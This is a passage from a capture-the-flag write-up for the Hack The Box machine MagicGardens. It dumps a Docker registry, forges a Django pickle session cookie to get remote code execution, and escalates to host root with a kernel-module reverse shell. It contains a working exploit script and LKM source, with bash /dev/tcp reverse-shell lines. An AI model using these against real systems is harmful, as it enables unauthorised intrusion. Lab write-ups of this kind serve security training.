curl -k https://magicgardens.htb:5000/v2/ -u AlexMiles:diamonds
{}%
Checked the registry and it only contains only one repository.
curl -k https://magicgardens.htb:5000/v2/_catalog -u AlexMiles:diamonds
{"repositories":["magicgardens.htb"]}
Dumping
The Docker registry can be dumped using this script.
Git clone the repository
git clone https://github.com/Syzik/DockerRegistryGrabber.git
Cloning into 'DockerRegistryGrabber'...
remote: Enumerating objects: 120, done.
remote: Counting objects: 100% (68/68), done.
remote: Compressing objects: 100% (53/53), done.
remote: Total 120 (delta 35), reused 33 (delta 15), pack-reused 52 (from 1)
Receiving objects: 100% (120/120), 878.35 KiB | 202.00 KiB/s, done.
Resolving deltas: 100% (54/54), done.
Install the required dependencies and libraries
pip3 install -r requirements.txt
Collecting requests==2.25.1
Downloading requests-2.25.1-py2.py3-none-any.whl (61 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 61.2/61.2 kB 57.3 kB/s eta 0:00:00
Collecting argparse
Using cached argparse-1.4.0-py2.py3-none-any.whl (23 kB)
Collecting rich
Using cached rich-13.9.4-py3-none-any.whl (242 kB)
Collecting urllib3
Using cached urllib3-2.3.0-py3-none-any.whl (128 kB)
Collecting chardet<5,>=3.0.2
Downloading chardet-4.0.0-py2.py3-none-any.whl (178 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 178.7/178.7 kB 75.0 kB/s eta 0:00:00
Collecting idna<3,>=2.5
Downloading idna-2.10-py2.py3-none-any.whl (58 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 58.8/58.8 kB 125.7 kB/s eta 0:00:00
Collecting urllib3
Downloading urllib3-1.26.20-py2.py3-none-any.whl (144 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 144.2/144.2 kB 218.0 kB/s eta 0:00:00
Collecting certifi>=2017.4.17
Using cached certifi-2025.1.31-py3-none-any.whl (166 kB)
Collecting markdown-it-py>=2.2.0
Using cached markdown_it_py-3.0.0-py3-none-any.whl (87 kB)
Collecting pygments<3.0.0,>=2.13.0
Using cached pygments-2.19.1-py3-none-any.whl (1.2 MB)
Collecting mdurl~=0.1
Using cached mdurl-0.1.2-py3-none-any.whl (10.0 kB)
Installing collected packages: argparse, urllib3, pygments, mdurl, idna, chardet, certifi, requests, markdown-it-py, rich
Successfully installed argparse-1.4.0 certifi-2025.1.31 chardet-4.0.0 idna-2.10 markdown-it-py-3.0.0 mdurl-0.1.2 pygments-2.19.1 requests-2.25.1 rich-13.9.4 urllib3-1.26.20
Execute the drg.py to dump the Docker registry repository
python3 drg.py https://magicgardens.htb --dump magicgardens.htb -U AlexMiles -P diamonds
[+] BlobSum found 32
[+] Dumping magicgardens.htb
[+] Downloading : d3a3443a740ae9a727dbd8868b751b492da27507f3cbbe0965982e65c436b8c0
[+] Downloading : 2ed799371a1863449219ad8510767e894da4c1364f94701e7a26cc983aaf4ca6
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c
[+] Downloading : 748da8c1b87e668267b90ea305e2671b22d046dcfeb189152bf590d594c3b3fc
[+] Downloading : 81771b31efb313fb18dae7d8ca3a93c8c4554aa09239e09d61bbbc7ed58d4515
[+] Downloading : 35b21a215463f8130302987a1954d01a8346cdd82c861d57eeb3cfb94d6511a8
[+] Downloading : 437853d7b910e50d0a0a43b077da00948a21289a32e6ce082eb4d44593768eb1
[+] Downloading : f9afd820562f8d93873f4dfed53f9065b928c552cf920e52e804177eff8b2c82
[+] Downloading : d66316738a2760996cb59c8eb2b28c8fa10a73ce1d98fb75fda66071a1c659d6
[+] Downloading : fedbb0514db0150f2376b0f778e5f304c302b53619b96a08824c50da7e3e97ea
[+] Downloading : 480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb
[+] Downloading : 02cea9e48b60ccaf6476be25bac7b982d97ef0ed66baeb8b0cffad643ece37d5
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 8999ec22cbc0ab31d0e3471d591538ff6b2b4c3bbace9c2a97e6c68844382a78
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 470924304c244ba833543bb487c73e232fd34623cdbfa51d30eab30ce802a10d
[+] Downloading : 4bc8eb4a36a30acad7a56cf0b58b279b14fce7dd6623717f32896ea748774a59
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : 9c94b131279a02de1f5c2eb72e9cda9830b128840470843e0761a45d7bebbefe
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : c485c4ba383179db59368a8a4d2df3e783620647fe0b014331c7fd2bd8526e5b
[+] Downloading : 9b1fd34c30b75e7edb20c2fd09a9862697f302ef9ae357e521ef3c84d5534e3f
[+] Downloading : d31b0195ec5f04dfc78eca9d73b5d223fc36a29f54ee888bc4e0615b5839e692
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : de4cac68b6165c40cf6f8b30417948c31be03a968e233e55ee40221553a5e570
Extracting all the layers, listing all the files and folders.
ls -1 | while read fn; do tar -xf "${fn}"; done
ls -la | grep -v tar.gz
total 472300
drwxr-xr-x 1 dexter dexter 3136 Feb 10 11:57 .
drwxr-xr-x 1 dexter dexter 372 Feb 10 11:55 ..
lrwxrwxrwx 1 dexter dexter 7 Aug 13 2023 bin -> usr/bin
drwxr-xr-x 1 dexter dexter 0 Jul 14 2023 boot
drwxr-xr-x 1 dexter dexter 0 Aug 13 2023 dev
drwxr-xr-x 1 dexter dexter 1698 Aug 28 2023 etc
drwxr-xr-x 1 dexter dexter 0 Jul 14 2023 home
lrwxrwxrwx 1 dexter dexter 7 Aug 13 2023 lib -> usr/lib
lrwxrwxrwx 1 dexter dexter 9 Aug 13 2023 lib32 -> usr/lib32
lrwxrwxrwx 1 dexter dexter 9 Aug 13 2023 lib64 -> usr/lib64
lrwxrwxrwx 1 dexter dexter 10 Aug 13 2023 libx32 -> usr/libx32
drwxr-xr-x 1 dexter dexter 0 Aug 13 2023 media
drwxr-xr-x 1 dexter dexter 0 Aug 13 2023 mnt
drwxr-xr-x 1 dexter dexter 0 Aug 13 2023 opt
drwxr-xr-x 1 dexter dexter 0 Jul 14 2023 proc
drwx------ 1 dexter dexter 106 Aug 13 2023 root
drwxr-xr-x 1 dexter dexter 40 Aug 13 2023 run
lrwxrwxrwx 1 dexter dexter 8 Aug 13 2023 sbin -> usr/sbin
drwxr-xr-x 1 dexter dexter 0 Aug 13 2023 srv
drwxr-xr-x 1 dexter dexter 0 Jul 14 2023 sys
drwxr-xr-x 1 dexter dexter 0 Aug 13 2023 tmp
drwxr-xr-x 1 dexter dexter 116 Aug 13 2023 usr
drwxr-xr-x 1 dexter dexter 96 Aug 13 2023 var
It has same file system as linux file system. The /usr/src/app directory contains the python
application.
cd /usr/src/app
ls -la
total 188
drwxr-xr-x 1 dexter dexter 142 Aug 28 2023 .
drwxr-xr-x 1 dexter dexter 266 Aug 28 2023 ..
drwxr-x--- 1 dexter dexter 108 Aug 11 2023 app
-rwxr-x--- 1 dexter dexter 176128 May 23 2024 db.sqlite3
-rwxr-x--x 1 dexter dexter 156 Aug 11 2023 entrypoint.sh
-rwxr-x--- 1 dexter dexter 97 Aug 11 2023 .env
-rwxr-x--- 1 dexter dexter 561 Aug 11 2023 manage.py
drwxr-x--- 1 dexter dexter 206 Aug 11 2023 media
-rwxr-x--- 1 dexter dexter 77 Aug 11 2023 requirements.txt
drwxr-x--- 1 dexter dexter 20 Aug 11 2023 static
drwxr-x--- 1 dexter dexter 188 May 6 2024 store
The .env file contains the application SECRET_KEY and app/settings.py shows that it is using PickleSerializer which is no longer supported in django.
DEBUG=False
SECRET_KEY=55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b%
----- SNIP -----
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_COOKIE_HTTPONLY = False
----- SNIP -----
Pivoting
Shell - Docker Container [ root - django serialization rce exploit ]
The secret key is revealed and we can forge the valid cookie that is deserialized in the application. The 0xdf has released the PoC script of the exploit.
Creating the python script by using the secret key and previously gained cookie
import os
import sys
import django.core.signing
import requests
from django.conf import settings
from django.contrib.sessions.serializers import PickleSerializer
class PickleRCE(object):
def __reduce__(self):
return (os.system, (f"bash -c 'bash -i >& /dev/tcp/{sys.argv[2]}/{sys.argv[3]} 0>&1'",))
if len(sys.argv) != 4:
print(f"{sys.argv[0]} <url> <shell ip> <shell port>")
sys.exit(1)
url = sys.argv[1] if sys.argv[1].startswith('http') else f'http://{sys.argv[1]}'
salt = "django.contrib.sessions.backends.signed_cookies"
settings.configure(SECRET_KEY="55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b")
cookie = ".eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1th8zo:GDhmDjeeWu1fLsFsA1CLjYdUfg7MXObXlz_M3tWX3Ss"
cookie_obj = django.core.signing.loads(cookie, serializer=PickleSerializer,salt=salt)
cookie_obj['testcookie'] = PickleRCE()
new_cookie = django.core.signing.dumps(cookie_obj,serializer=PickleSerializer,salt=salt,compress=True)
print(f"[+] Generated malicious cookie: {new_cookie}")
requests.get("http://magicgardens.htb", cookies={"sessionid": new_cookie})
Downgrade the django version
python3 django_serialization_rce.py
Traceback (most recent call last):
File "/home/dexter/HTB/Machines/MagicGardens/django_serialization_rce.py", line 6, in <module>
from django.contrib.sessions.serializers import PickleSerializer
ImportError: cannot import name 'PickleSerializer' from 'django.contrib.sessions.serializers' (/home/dexter/HTB/Machines/MagicGardens/.venv/lib/python3.11/site-packages/django/contrib/sessions/serializers.py)
The current version of django doesn't support the PickleSerializer
, so it is giving us error.
pip3 install django==4.1.13
Collecting django==4.1.13
Downloading Django-4.1.13-py3-none-any.whl (8.1 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 8.1/8.1 MB 1.2 MB/s eta 0:00:00
Requirement already satisfied: asgiref<4,>=3.5.2 in ./.venv/lib/python3.11/site-packages (from django==4.1.13) (3.8.1)
Requirement already satisfied: sqlparse>=0.2.2 in ./.venv/lib/python3.11/site-packages (from django==4.1.13) (0.5.3)
Installing collected packages: django
Attempting uninstall: django
Found existing installation: Django 5.1.6
Uninstalling Django-5.1.6:
Successfully uninstalled Django-5.1.6
Successfully installed django-4.1.13
Downgrading the django version in which it supports the PickleSerializer.
Getting the shell
Open the nc
listener and execute the script, we will get the shell.
nc -lvnp 8443
Listening on 0.0.0.0 8443
python3 django_serialization_rce.py magicgardens.htb 10.10.16.7 8443
[+] Generated malicious cookie: .eJxNUD1PwzAQbYdWFBUh8QsytTDgxI7TNEuF2FngB0S24xDTNq7iC9ABiYXNG8f_JWlB6umGex-6J73P0c96ODjMB177s9bpphZbjX60tQ3s0Y8dCGhdRzyBKEv0kzfjqnxjHKAfoJ8eoLJtDbrBauwnSjRw1Ds0PaAT-SIXLVR5H5SbAv2Qob864aRQa113wk3xIupnS5StoTGS9BbypzryYAu9uf_3Xp48qISr0N_RRJWsTDMa6yjhTOslU1kkJaeizCgTyTJaxKpMUrWgUjIZaRZzzamSacxVlqE_B-1AWbs2fR0768x7X8fegd7iN3omu6TgVgXz42GC1SwIC_0agtqFNCL9LkgaLjmPg2g1o3P8wkdsyS-Qb4Pr:1theXR:AakvmU_JY1CmSCvHcEv1vI4HYQ46ZDY3iMintkEqyFA
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.9 42570
bash: cannot set terminal process group (17): Inappropriate ioctl for device
bash: no job control in this shell
root@5e5026ac6a81:/usr/src/app#
Privilege Escalation
Pillaging - Docker Container [ root ]
root@5e5026ac6a81:/usr/src/app# capsh --print
capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)
Listing the capabilities reveals the cap_sys_module, which allows the container to load and unload kernel modules.
Shell - root [ cap_sys_module exploit ]
Hacktricks has created a post for abusing this exploit in this section.
Copying the reverse-shell.c and Makefile from the post and replacing the IP and Port.
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.7/9443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules # The space has to be created using tab not the spacebar otherwise the missing seprator error will occur.
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean # The space has to be created using tab not the spacebar otherwise the missing seprator error will occur.
Sending the reverse-shell.c and Makefile into Docker Container.
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.9 - - [10/Feb/2025 21:00:21] "GET /reverse-shell.c HTTP/1.1" 200 -
10.10.11.9 - - [10/Feb/2025 21:00:36] "GET /Makefile HTTP/1.1" 200 -
root@5e5026ac6a81:/tmp# wget http://10.10.16.7:8000/reverse-shell.c
wget http://10.10.16.7:8000/reverse-shell.c
--2025-02-11 02:00:22-- http://10.10.16.7:8000/reverse-shell.c
Connecting to 10.10.16.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 717 [text/x-csrc]
Saving to: ‘reverse-shell.c’
0K 100% 193K=0.004s
2025-02-11 02:00:24 (193 KB/s) - ‘reverse-shell.c’ saved [717/717]
root@5e5026ac6a81:/tmp# wget http://10.10.16.7:8000/Makefile
wget http://10.10.16.7:8000/Makefile
--2025-02-11 02:00:37-- http://10.10.16.7:8000/Makefile
Connecting to 10.10.16.7:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 168 [application/octet-stream]
Saving to: ‘Makefile’
0K 100% 15.5M=0s
2025-02-11 02:00:39 (15.5 MB/s) - ‘Makefile’ saved [168/168]
Compile it using make
.
make
.root@5e5026ac6a81:/tmp# make
make
make -C /lib/modules/6.1.0-20-amd64/build M=/tmp modules
make[1]: Entering directory '/usr/src/linux-headers-6.1.0-20-amd64'
CC [M] /tmp/reverse-shell.o
MODPOST /tmp/Module.symvers
CC [M] /tmp/reverse-shell.mod.o
LD [M] /tmp/reverse-shell.ko
BTF [M] /tmp/reverse-shell.ko
Skipping BTF generation for /tmp/reverse-shell.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-6.1.0-20-amd64'
root@5e5026ac6a81:/tmp#
Open the nc
listener and run insmod
.
nc
listener and run insmod
.root@5e5026ac6a81:/tmp# insmod reverse-shell.ko
insmod reverse-shell.ko
root@5e5026ac6a81:/tmp#
nc -lvnp 9443
Listening on 0.0.0.0 9443
Connection received on 10.10.11.9 49744
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@magicgardens:/# whoami
whoami
root
root@magicgardens:/#
Proof of Concepts
The below video provides the PoC of MagicGardens machine.
Last updated